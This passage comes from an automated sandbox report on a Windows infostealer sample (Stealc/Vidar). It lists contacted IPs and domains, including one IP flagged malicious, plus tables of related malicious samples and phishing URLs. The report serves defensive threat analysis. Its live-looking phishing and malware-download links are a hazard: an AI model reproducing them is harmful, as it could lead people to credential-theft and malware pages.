https://anglebug.com/4830	chrome.exe, 00000003.00000003.2262114353.0000716C0255C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2262616475.0000716C0255C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2441827201.0000716C02EC8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2262672459.0000716C02DC4000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2372307537.00000E200038C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://www.youtube.com/:	chrome.exe, 00000003.00000002.2426214841.0000716C0286C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2251592259.0000716C028FC000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://myaccount.google.com/shielded-email2B	chrome.exe, 00000003.00000003.2294697631.0000716C0360C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://sb.scorecardresearch.com/	2cc80dabc69f58b6_1.8.dr	false		unknown
https://csp.withgoogle.com/csp/report-to/gws/cdt1	chrome.exe, 00000003.00000002.2456626661.0000716C02F88000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://www.google.com/tools/feedback/chrome/__submit	chrome.exe, 00000003.00000002.2369846834.0000716C026D4000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://anglebug.com/2162	chrome.exe, 00000003.00000003.2262114353.0000716C0255C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2262616475.0000716C0255C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2441827201.0000716C02EC8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2262672459.0000716C02DC4000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2372307537.00000E200038C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://anglebug.com/5430	chrome.exe, 00000003.00000003.2262114353.0000716C0255C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2262616475.0000716C0255C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2441827201.0000716C02EC8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2262672459.0000716C02DC4000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2372307537.00000E200038C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://permanently-removed.invalid/LogoutYxABzen	msedge.exe, 00000007.00000003.2371929721.00000E2000280000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2372276180.00000E2000284000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2371633364.00000E200027C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://chrome.google.com/webstore206E5	chrome.exe, 00000003.00000002.2433277176.0000716C028AC000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://anglebug.com/3498	chrome.exe, 00000003.00000003.2262114353.0000716C0255C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2262616475.0000716C0255C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2441827201.0000716C02EC8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2262672459.0000716C02DC4000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2372307537.00000E200038C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://ch.search.yahoo.com/favicon.icofrom_play_api	chrome.exe, 00000003.00000003.2320867661.0000716C02E60000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2441254268.0000716C02E64000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://www.youtube.com/s/notifications/manifest/cr_install.html	chrome.exe, 00000003.00000002.2367350850.0000716C024C0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2426214841.0000716C0286C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2251592259.0000716C028FC000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://anglebug.com/4966	chrome.exe, 00000003.00000003.2262114353.0000716C0255C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2262616475.0000716C0255C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2441827201.0000716C02EC8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2262672459.0000716C02DC4000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2372307537.00000E200038C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://www.youtube.com/J	chrome.exe, 00000003.00000002.2426214841.0000716C0286C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2251592259.0000716C028FC000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://anglebug.com/5421	chrome.exe, 00000003.00000003.2262114353.0000716C0255C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2262616475.0000716C0255C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2441827201.0000716C02EC8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2262672459.0000716C02DC4000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2372307537.00000E200038C000.00000004.00000800.00020000.00000000.sdmp	false		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
142.250.186.68	www.google.com	United States	15169	GOOGLEUS	false
23.198.7.183	unknown	United States	20940	AKAMAI-ASN1EU	false
13.107.246.45	s-part-0017.t-0009.t-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
172.217.18.14	play.google.com	United States	15169	GOOGLEUS	false
152.195.19.97	unknown	United States	15133	EDGECASTUS	false
18.160.172.17	unknown	United States	3	MIT-GATEWAYSUS	false
20.125.209.212	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
162.159.61.3	chrome.cloudflare-dns.com	United States	13335	CLOUDFLARENETUS	false
23.47.194.99	unknown	United States	20940	AKAMAI-ASN1EU	false
104.93.21.139	unknown	United States	16625	AKAMAI-ASUS	false
204.79.197.219	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
104.93.21.152	unknown	United States	16625	AKAMAI-ASUS	false
13.107.246.57	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
142.250.184.193	googlehosted.l.googleusercontent.com	United States	15169	GOOGLEUS	false
20.52.64.201	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
94.245.104.56	ssl.bingadsedgeextension-prod-europe.azurewebsites.net	United Kingdom	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
18.244.18.38	sb.scorecardresearch.com	United States	16509	AMAZON-02US	false
20.99.186.246	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
23.192.223.45	unknown	United States	16625	AKAMAI-ASUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
185.215.113.206	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
142.250.186.142	plus.l.google.com	United States	15169	GOOGLEUS	false

Private

IP
192.168.2.6
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1543499
Start date and time:	2024-10-28 02:06:11 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 8m 34s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	20
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@67/293@26/24
EGA Information:	Successful, ratio: 100%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, RuntimeBroker.exe, WMIADAP.exe, SIHClient.exe, backgroundTaskHost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 142.250.186.35, 142.250.184.206, 173.194.76.84, 34.104.35.123, 172.217.18.10, 142.250.186.138, 216.58.206.74, 142.250.185.170, 142.250.74.202, 142.250.186.170, 142.250.184.234, 142.250.185.106, 142.250.185.74, 142.250.184.202, 172.217.16.202, 142.250.186.106, 142.250.185.138, 142.250.185.234, 142.250.185.202, 172.217.18.106, 192.229.221.95, 172.217.23.106, 216.58.212.170, 142.250.186.74, 142.250.186.42, 216.58.212.138, 172.217.16.138, 142.250.181.234, 216.58.206.42, 199.232.210.172, 13.107.42.16, 204.79.197.203, 13.107.21.239, 204.79.197.239, 142.250.185.110, 13.107.6.158, 48.209.162.134, 2.19.126.152, 2.19.126.145, 4.231.66.184, 2.19.97.195, 2.19.97.170, 2.23.209.133, 2.23.209.182, 2.23.209.130, 2.23.209.187, 2.23.209.149, 13.74.129.1, 204.79.197.237, 13.107.21.237, 23.221.22.213, 23.221.22.206, 23.221.22.209, 23.221.22.212, 23.221.22.204, 23.221.22.208, 23.221.22.205, 23.221.22.200, 23.221.22.211, 2.19.126.157, 2.19.126.151, 142.250.115.94, 142.250.113.94
Excluded domains from analysis (whitelisted): cdp-f-ssl-tlu-net.trafficmanager.net, nav-edge.smartscreen.microsoft.com, slscr.update.microsoft.com, a416.dscd.akamai.net, data-edge.smartscreen.microsoft.com, img-s-msn-com.akamaized.net, clientservices.googleapis.com, edgeassetservice.afd.azureedge.net, star.sf.tlu.dl.delivery.mp.microsoft.com.delivery.microsoft.com, clients2.google.com, e86303.dscx.akamaiedge.net, ocsp.digicert.com, config-edge-skype.l-0007.l-msedge.net, www.gstatic.com, l-0007.l-msedge.net, e28578.d.akamaiedge.net, www.bing.com, assets.msn.com.edgekey.net, fs.microsoft.com, bingadsedgeextension-prod.trafficmanager.net, c-bing-com.dual-a-0034.a-msedge.net, ogads-pa.googleapis.com, prod-atm-wds-edge.trafficmanager.net, www-www.bing.com.trafficmanager.net, business-bing-com.b-0005.b-msedge.net, a1834.dscg2.akamai.net, wildcardtlu-ssl.azureedge.net, edgedl.me.gvt1.com, c.bing.com, edgeassetservice.azureedge.net, clients.l.google.com, config.edge.skype.com.trafficmanager.net, c-msn-com-nsatc.traff
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Report size getting too big, too many NtWriteFile calls found.
Report size getting too big, too many NtWriteVirtualMemory calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
21:07:37	API Interceptor	94x Sleep call for process: file.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
23.198.7.183	https://neon.ly/f132f836-82cf-441d-83cc-ac2dde9fb1d7	Get hash	malicious	Unknown	Browse
13.107.246.45	https://pcefan.com/diary/index.php?st-manager=1&path=/click/track&id=4973&type=ranking&url=http://nam.dcv.ms/BxPVLH2cz4	Get hash	malicious	HTMLPhisher	Browse	nam.dcv.ms/BxPVLH2cz4
152.195.19.97	http://ustteam.com/	Get hash	malicious	Unknown	Browse	www.ust.com/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
chrome.cloudflare-dns.com	file.exe	Get hash	malicious	Stealc, Vidar	Browse	172.64.41.3
	setup.msi	Get hash	malicious	Unknown	Browse	172.64.41.3
	https://2007.filemail.com/api/file/get?filekey=58mKUrTMdlmzqkRvo0UdVa2TMjJTCQiSNv5rUBtsDQTNU0dM4JzppUJaOrP_mWxCym0k9l5xEDeaXunPsHq6frY8XZH_gnclw86MefA3bpAlGuDkr77-xSqrMOQIlMdW5cRjwoOSCWIlTwpC48cNKMMHhMKp&track=P8fpm4ry&pk_vid=8a8b18f03738ae4f17297703684d559d	Get hash	malicious	HTMLPhisher	Browse	172.64.41.3
	http://74.248.121.8/d/msdownload/update/software/defu/2024/10/updateplatform.amd64fre_d3f6f8300855e56b8ed00da6dac55a3c4cbf8c20.exe?cacheHostOrigin=au.download.windowsupdate.com	Get hash	malicious	Unknown	Browse	162.159.61.3
	https://t.ly/2jKWO	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	172.64.41.3
	https://t.ly/2jKWO	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	172.64.41.3
	https://www.filemail.com/t/cFCAI9C4	Get hash	malicious	HtmlDropper	Browse	172.64.41.3
	https://careers.adobe.com/us/en/apply?jobSeqNo=ADOBUSR147673EXTERNALENUS	Get hash	malicious	Unknown	Browse	172.64.41.3
	MDE_File_Sample_1a8e4ebbcc2e3f76efb2a55bb6179417263ebf3d.zip	Get hash	malicious	Unknown	Browse	162.159.61.3
	(No subject) (90).eml	Get hash	malicious	Unknown	Browse	172.64.41.3
s-part-0017.t-0009.t-msedge.net	SecuriteInfo.com.W64.Trojan.GKA.gen.Eldorado.28037.23063.exe	Get hash	malicious	Unknown	Browse	13.107.246.45
	SecuriteInfo.com.Trojan.MulDrop28.30792.12555.31478.exe	Get hash	malicious	Unknown	Browse	13.107.246.45
	SecuriteInfo.com.Win64.MalwareX-gen.31244.2279.exe	Get hash	malicious	Unknown	Browse	13.107.246.45
	file.exe	Get hash	malicious	Unknown	Browse	13.107.246.45
	Reminder.exe	Get hash	malicious	Amadey	Browse	13.107.246.45
	SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe	Get hash	malicious	Unknown	Browse	13.107.246.45
	1730040844c315465b42549fc945fcc365e3b38ee79e6f8426df216ee7746112fae780918c772.dat-decoded.exe	Get hash	malicious	AsyncRAT	Browse	13.107.246.45
	1730036586ac45c02678cfb051f46a3829e59a655739bcebbb1e2d27474e330fbc4c2b3a3d596.dat-decoded.dll	Get hash	malicious	Unknown	Browse	13.107.246.45
	1730032629d03288421fce5e7d9e6026f5a967d50c541a02112bcbceaac1a2fa9677728cde553.dat-decoded.exe	Get hash	malicious	Blackshades	Browse	13.107.246.45
	R40XD2LfcZ.exe	Get hash	malicious	Clipboard Hijacker	Browse	13.107.246.45
ssl.bingadsedgeextension-prod-europe.azurewebsites.net	file.exe	Get hash	malicious	Stealc, Vidar	Browse	94.245.104.56
	setup.msi	Get hash	malicious	Unknown	Browse	94.245.104.56
	(No subject) (90).eml	Get hash	malicious	Unknown	Browse	94.245.104.56
	test.exe	Get hash	malicious	Babadeda	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	VlmNuDYKAv.exe	Get hash	malicious	Amadey, Stealc	Browse	94.245.104.56
	file.exe	Get hash	malicious	Unknown	Browse	94.245.104.56
	file.exe	Get hash	malicious	Unknown	Browse	94.245.104.56
	pud8g3zixE.exe	Get hash	malicious	Amadey, Stealc	Browse	94.245.104.56
	file.exe	Get hash	malicious	Unknown	Browse	94.245.104.56
sb.scorecardresearch.com	file.exe	Get hash	malicious	Stealc, Vidar	Browse	13.32.99.90
	http://www.wattpad.com	Get hash	malicious	Unknown	Browse	13.32.99.90
	https://www.canva.com/design/DAGUUU-VdiI/DdL4Z-_loK4X7NMMbGGnJg/view?utm_content=DAGUUU-VdiI&utm_campaign=designshare&utm_medium=link&utm_source=editor	Get hash	malicious	Unknown	Browse	13.32.99.90
	https://www.canva.com/design/DAGUUU-VdiI/DdL4Z-_loK4X7NMMbGGnJg/view?utm_content=DAGUUU-VdiI&utm_campaign=designshare&utm_medium=link&utm_source=editor	Get hash	malicious	Unknown	Browse	18.244.18.122
	https://us-west-2.protection.sophos.com/?d=site.pro&u=aHR0cHM6Ly9jbGF1ZGlha3J1ZWdlci5zaXRlLnByby8=&i=NThlN2NjYzYyOTljZjkxNGY4YmM1Njkz&t=QTRyTlRXbysvd3IyNERLT1pJYVNuNlAvU0FLMVAyb2pCN053UGFJSWtBST0=&h=dd65eaa7298b4ffebbd13b01dcbd3434&s=AVNPUEhUT0NFTkNSWVBUSVYfWTd0VrJEAZ1PFPx8UNdDDkWk4HVuGeVZrBnJzV7Ifg	Get hash	malicious	Unknown	Browse	18.244.18.122
	http://google.com	Get hash	malicious	Unknown	Browse	18.244.18.38
	https://www.canva.com/design/DAGT2vOBNY8/p-tSk-DRXUJ7qPwl8mMJiw/view?utm_content=DAGT2vOBNY8&utm_campaign=designshare&utm_medium=link&utm_source=editor	Get hash	malicious	Unknown	Browse	18.244.18.38
	(No subject) (87).eml	Get hash	malicious	HTMLPhisher	Browse	18.245.60.53
	http://currently0734.weebly.com/	Get hash	malicious	HTMLPhisher	Browse	18.244.18.27
	https://attservicesinc.weebly.com/	Get hash	malicious	HTMLPhisher	Browse	18.244.18.122

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
MICROSOFT-CORP-MSN-AS-BLOCKUS	file.exe	Get hash	malicious	Stealc, Vidar	Browse	20.99.185.48
	arm.elf	Get hash	malicious	Mirai, Moobot	Browse	157.55.8.201
	mips.elf	Get hash	malicious	Mirai, Moobot	Browse	157.55.39.245
	ppc.elf	Get hash	malicious	Mirai, Moobot	Browse	20.193.94.59
	x86.elf	Get hash	malicious	Mirai, Moobot	Browse	40.92.231.75
	la.bot.arm.elf	Get hash	malicious	Unknown	Browse	52.185.117.158
	splmpsl.elf	Get hash	malicious	Unknown	Browse	22.20.33.129
	jklm68k.elf	Get hash	malicious	Unknown	Browse	40.102.238.246
	nabarm7.elf	Get hash	malicious	Unknown	Browse	52.122.161.212
	nabm68k.elf	Get hash	malicious	Unknown	Browse	52.102.44.114
EDGECASTUS	file.exe	Get hash	malicious	Stealc, Vidar	Browse	152.195.19.97
	https://www.google.co.uk/url?q=38pQvvq6xRyj7Y00xDjnlx9kIHOSozurMOiaAkImPuQJnOIWtJjqJLi6stjtDz3yh&rct=tTPSrMOiaAkImPuQJnOIWtJjqJLi6stjtFX08pQvvq6xRyj7Y00xDjnlx9kIjusucT&sa=t&url=amp/taxigiarebienhoa.vn/nini/ybmex/captcha/Z3VsYW1yYXN1bC5jaGVwdXdhbGFAY2V2YWxvZ2lzdGljcy5jb20	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	152.199.21.175
	Rob.Kuster@stonhard.com.zip	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	152.199.21.175
	zip file.zip	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	152.199.21.175
	https://docs.google.com/drawings/d/1gvM7ysnJ7zDcSUShXnPoiA6pG4cjDDn9uHRbivsGidA/preview?pli=1jjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZs	Get hash	malicious	Mamba2FA	Browse	152.199.21.175
	Fanduel CO Player Location Check F.exe	Get hash	malicious	Unknown	Browse	192.229.221.95
	https://link.edgepilot.com/s/8e0e5379/EMW5cxymxkqj1qgquAdAJg?u=https://1drv.ms/o/c/67a50aba8b4bc7df/Es0QkMhT9wJGqs_vzb8xaRQBgzED6dWk5_dCMe34N16rYQ?e=5%253aTtRWoI%26sharingv2=true%26fromShare=true%26at=9&c=E,1,DNZ_Csfpwg3nzWxVo2TSq2LzcEM3C6hdkfA-QbvL5dwYrcj0RsSt_vroZV-UqAThZkP5E_WMmdbQ82a_nveA3iNTPpg_CIcQxQFCbK60ykcRIVrxnkr2VnkbdtuE&typo=1	Get hash	malicious	Unknown	Browse	152.199.21.175
	https://ipfox.co.uk/pages/thanks.html#RXJpay5Kb2huc29uQGFnLnN0YXRlLm1uLnVz	Get hash	malicious	Unknown	Browse	152.199.21.175
	ALVARA-072.msi	Get hash	malicious	AteraAgent	Browse	192.229.221.95
	https://www.shareholds.com/eur/9fb868a2-97de-4fa6-bb9a-6e2bdc7c734d/99db7d04-72ba-41ea-a52e-2744d29c7f66/e845cf48-2115-4cda-904c-fc80c835df32/login?id=RDhIaE52RURnRGJHRWUzZ21seVc3R2xwMm5BK0k2NjNKbnlRYisvT3JURnNTa0p4Skp6OTRIVjNPa3VFclFOeEFTY2Jub0tIblFrbGo5SUhWb01RRCt4Q3FtaVlNeno4MU8zN2I3bmlveTF0Tm8yM0FOb1J4THRhM1RqNnhyazNHaDFNV3Zoc1RLN2VpV0ZZbUF2MDlWWGZ2Tk5STVpzUDVKaStnT0l0S1BVTlRzZ2lmcXI1Wkh6M1FheGd3Tjh2NVdaTzVOOTRQaVZrTmZrSjRIK3IvU1p4U2doYSsrYmtUOGl1RytpeGthUGFHT1g4UE4rbngvYnhpRXlJRG9oRVRWbUczdEc1ei9ESFJsT2lpZ2JyOFBLNTNoUXdzdVB0QjhVbmRBN1NSSUJYMTkrRnoxbENHSW5lYnJHczBnQytHaDlQSkRib1NTOFNJeTI2WVhCUkg5NGxNNzNMdzBmWktZenhCR2FnaFFaem5zU3FmbUV6WXowVFdOTEFjU3pGVnRjVlNFOHRtVlkvdk9WQjdibXBTNGZFcjUyb1BYTXRhQTRNNnJjbkJtcz0	Get hash	malicious	HTMLPhisher, Microsoft Phishing	Browse	152.199.21.175
AKAMAI-ASN1EU	file.exe	Get hash	malicious	Stealc, Vidar	Browse	23.198.7.171
	la.bot.sparc.elf	Get hash	malicious	Unknown	Browse	23.200.80.171
	botnet.arm5.elf	Get hash	malicious	Mirai, Moobot	Browse	104.82.59.219
	https://thegramp.nimbusweb.me/share/11336505/nigrk0yirmsg8qt4s4nm	Get hash	malicious	HTMLPhisher	Browse	172.235.174.134
	KaDadrn9mA.exe	Get hash	malicious	AsyncRAT	Browse	172.236.29.219
	ubBnwUNUUr.exe	Get hash	malicious	AsyncRAT	Browse	172.236.29.219
	vz0ZCUIwEH.exe	Get hash	malicious	AsyncRAT	Browse	172.236.29.219
	snBEoi6Tf4.exe	Get hash	malicious	AsyncRAT	Browse	172.236.29.219
	https://developmentltd.online/	Get hash	malicious	Captcha Phish	Browse	88.221.110.227
	https://ljptn9jl729v.jp.larksuite.com/share/base/form/shrjpAd28kd9HXI7TjO1wFqS7Pf	Get hash	malicious	Unknown	Browse	2.16.238.7

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	file.exe	Get hash	malicious	LummaC, Amadey, AsyncRAT, LummaC Stealer, Stealc, XWorm	Browse	172.202.163.200 184.28.90.27 13.107.246.60
	https://bit.ly/3Cbulr1	Get hash	malicious	Unknown	Browse	172.202.163.200 184.28.90.27 13.107.246.60
	CQlUZ4KuAa.exe	Get hash	malicious	Vidar	Browse	172.202.163.200 184.28.90.27 13.107.246.60
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	172.202.163.200 184.28.90.27 13.107.246.60
	Reminder.exe	Get hash	malicious	Amadey	Browse	172.202.163.200 184.28.90.27 13.107.246.60
	Reminder.exe	Get hash	malicious	Amadey	Browse	172.202.163.200 184.28.90.27 13.107.246.60
	SecuriteInfo.com.Win64.CrypterX-gen.14264.32283.exe	Get hash	malicious	LummaC	Browse	172.202.163.200 184.28.90.27 13.107.246.60
	https://duy38.r.ag.d.sendibm3.com/mk/cl/f/sh/1t6Af4OiGsF30wT9TF4ckLf3fAzx5z/28D7HenRXzOU	Get hash	malicious	LummaC	Browse	172.202.163.200 184.28.90.27 13.107.246.60
	https://link.edgepilot.com/s/e9b35021/KNsrNVGwOUukNjaKm_560w?u=https://publicidadnicaragua.com/	Get hash	malicious	Unknown	Browse	172.202.163.200 184.28.90.27 13.107.246.60
	Solaris-A65BA.exe	Get hash	malicious	Unknown	Browse	172.202.163.200 184.28.90.27 13.107.246.60
3b5074b1b5d032e5620f69f9f700ff0e	rFa24c148.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	40.113.110.67
	Remittance Receipt.exe	Get hash	malicious	AgentTesla	Browse	40.113.110.67
	PbfYaIvR5B.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	40.113.110.67
	SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Get hash	malicious	Blank Grabber	Browse	40.113.110.67
	SecuriteInfo.com.Win64.Trojan.Agent.2S9FJA.25494.32016.exe	Get hash	malicious	Unknown	Browse	40.113.110.67
	SecuriteInfo.com.Win64.Trojan.Agent.2S9FJA.25494.32016.exe	Get hash	malicious	Unknown	Browse	40.113.110.67
	sheisverynicegirlwithgreatworkingskillwithgereatniceworkign.hta	Get hash	malicious	Cobalt Strike, Remcos	Browse	40.113.110.67
	seemeherewithgreatthingsentiretimewithgreatthingsonhere.hta	Get hash	malicious	Cobalt Strike	Browse	40.113.110.67
	seethebestthingswhichgivennewthingswithmewesee.hta	Get hash	malicious	Cobalt Strike	Browse	40.113.110.67
	TEKL#U0130F TALEP VE F#U0130YAT TEKL#U0130F#U0130_xlxs.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	40.113.110.67

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	CQlUZ4KuAa.exe	Get hash	malicious	Vidar	Browse
	yt5xqAvHnZ.exe	Get hash	malicious	Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
